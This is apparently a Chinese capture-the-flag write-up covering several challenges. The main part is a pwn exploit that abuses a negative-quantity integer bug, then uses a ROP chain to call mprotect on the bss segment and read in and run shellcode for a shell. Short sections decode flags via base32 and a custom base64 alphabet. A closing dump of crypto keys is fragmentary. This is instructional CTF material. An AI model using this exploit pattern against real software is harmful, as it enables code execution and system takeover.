检查:
发现是64位静态链接文件
ida查看:
可以看到这里有一个if判断才可执行的“改名”
很明显这里有一个栈溢出:
pythonio.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶?\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
拿到改名选项。
但是这题没有给我们system和binsh所以只能换种思路:因为是静态链接,所以一定有mprotect函数,可以直接更改段权限,这里我们可以直接更改bss段的权限,然后直接把shallcode写入bss段执行,又因为是64位,所以需要寄存器传参:
mprotect:
#include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。 len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。 prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用: 1)PROT_READ:内存段可读; 2)PROT_WRITE:内存段可写; 3)PROT_EXEC:内存段可执行; 4)PROT_NONE:内存段不可访问。 返回值:0;成功,-1;失败(并且errno被设置) 1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。 2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。 3)ENOMEM:内核内部的结构体无法分配。 这里的参数prot: r:4 w:2 x:1 prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似
所以这里就可以更改权限:
pythonpayload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+p64(read)+p64(buf_addr)#这里实际找到的pop_rdx只有两个
所以还要多传一个参数
通过rdi,rsi,rdx三个寄存器给mprotect传参更改权限,然后ret到read函数的地址写入shellcode,再跳转到shellcode处执行
注:这里bss段的地址只能选用4kb整数倍的地址。
pythonfrom pwn import*
context(log_level='debug',arch='amd64',os='linux')
context(terminal = ['tmux','split','-h'])
# io =remote('123.56.238.150',24460)
io = process('./shaokao')
mp_addr = 0x0458B00
pop_rdi = 0x040264f
pop_rsi = 0x040a67e
pop_rdx = 0x04a404b
read = 0x0457DD0
buf_addr = 0x4E9000
bss_addr = 0x4E9000
io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶?\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
# gdb.attach(io)
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\
p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+\
p64(read)+p64(buf_addr)
io.recvuntil("请赐名:\n".encode('utf-8'))
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
使用wireshark打开:
直接追踪tcp流:
中间红色部分拼接:
MMYWMX3GNEYWOXZRGAYDA===
直接base32解码:
flag:
c1f_fi1g_1000
用给的第二行数据进行base64换表,再解码:
pythonfrom base64 import*
T1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
T2 = 'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF'
T2 = 'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
enc = 'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
str = ''
for i in range(len(enc)):
str += T1[T2.index(enc[i])]
# str = base64.b64decode(str)
print(str)
得出:
ZmxhZ3s4ZTRiMjg4OC02MTQ4LTQwMDMtYjcyNS0zZmYwZDkzYTZlZTR9
解码:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
做题时的记录:
"id": "45c620d1-0c23-4e75-aa49-484f769dc6e8" A_prvite=2ABD46BACD79A7DE3E494056F80C3A802776CF454FB60EB4021D3162FA4BC3BC A_public=E7EA0C52F83B28EC7449FDE2346650BA108BEF938E6622A279726B27FCB48D8650A324962C3B7E1857968FB2C734323FC65B675755BFC583EE343431D3E6B906 B_private=597a62be8f1f746b104b060351e7841e3a84d1a07b78f76908c420d8d467ce47 B_pub=0438e483c718bae10e03d4ed4476bd28131383860034b47364a48d27436e23acd2328de25edd07519be64874d88734f4cc2eb9fff2756065f5745f229d206cbdf3 random=9a770cae67c0277737b704dfcf02663dd278f8eb1fb46ddedbf1762ec0c75057a66614843af1624b68502c3487de72fb0fc661e1e713c333021afd36fe78d2d276fb8be13315b68870b9a825b86654e699cb2c92ee07d6f460e93e8dd6c75081009dbe7d1d1b2a9af28aae6fad3e6aa5 "quantumString": "fd11b5ac03f85cd368d9234f847f2936a08ca3531468d4c67d3e3a002966725ccb0b793d12e4b0ad55689b72ac916998b4cba165c68ba09252b9f6724a28f7767921e9ddd63768530fd99e6738925cee8762d61ac2f9e29397dbbefd53110d26605bda47ab788e5548bc8ea3a77395fc" 随机数铭文:29 24 55 C9 3D 98 EA 1A 4B 25 8E A8 8D 97 77 30 B_pri明文= E8 B4 BA 6E F1 3A CE 6C DC D2 79 FF DA D6 54 49 25 74 18 94 2B 0C EF 92 F1 9A 81 AF 02 66 62 6E E34E5F83817D03A55E257D0214CD04E774E372FC451F1157773C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA
根据给的文件做就可以.
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!